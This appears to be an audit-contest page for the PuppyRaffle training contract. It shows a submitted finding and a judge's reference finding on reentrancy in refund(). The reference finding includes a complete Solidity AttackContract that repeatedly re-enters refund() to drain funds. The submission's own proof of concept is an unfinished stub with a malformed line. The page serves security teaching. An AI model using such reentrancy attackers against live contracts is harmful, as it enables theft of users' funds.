Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Reentrancy in `PuppyRaffle::refund` allows attackers to drain the contract balance

Root + Impact

PuppyRaffle::refund violates Checks-Effects-Interactions, allowing reentrancy to drain the contract.


Description

// ### Root Cause
The `PuppyRaffle::refund` function executes a low-level call (`sendValue`) to transfer funds to the caller **before** updating the state variable `players[playerIndex]` to `address(0)`.
​
In `PuppyRaffle.sol`, lines 96-105:
```solidity
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
payable(msg.sender).sendValue(entranceFee); // External call before state update
​
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}
Root cause in the codebase with @> marks to highlight the relevant section

Risk

Likelihood: High — An attacker can enter the raffle with a contract and call refund.


Impact: High — The attacker can repeatedly withdraw the entrance fee before their player entry is cleared, draining funds deposited by other participant

s.

Likelihood:

- Likelihood: High

An attacker can easily enter the raffle using a malicious contract and call `refund()`.


- Impact: High

The attacker can repeatedly drain the contract's balance before their entry is updated, resulting in the loss of all deposited fu

nds.


Impact:

The attacker can drain the contract's balance by repeatedly calling the `refund` function before their player entry is cleared. This leads to a total loss of funds deposited by other participants in the raffle.


Proof of Concept

// Add this test in your test file to prove the reentrancy attack
function testReentrancyRefund() public {
address[] memory playersList = new address[]();
playersList[0] = address(this);
puppyRaffle.enterRaffle{value: entranceFee}(playersList);
​
// Attack contract logic or test trace showing recursive refund
// ...
}
​

Recommended Mitigation

- remove this code
+ add this code// Update state before making any external calls (Checks-Effects-Interactions pattern)
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
// 1. Effects first
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
​
// 2. Interaction last
payable(msg.sender).sendValue(entranceFee);
}
​
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 15 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

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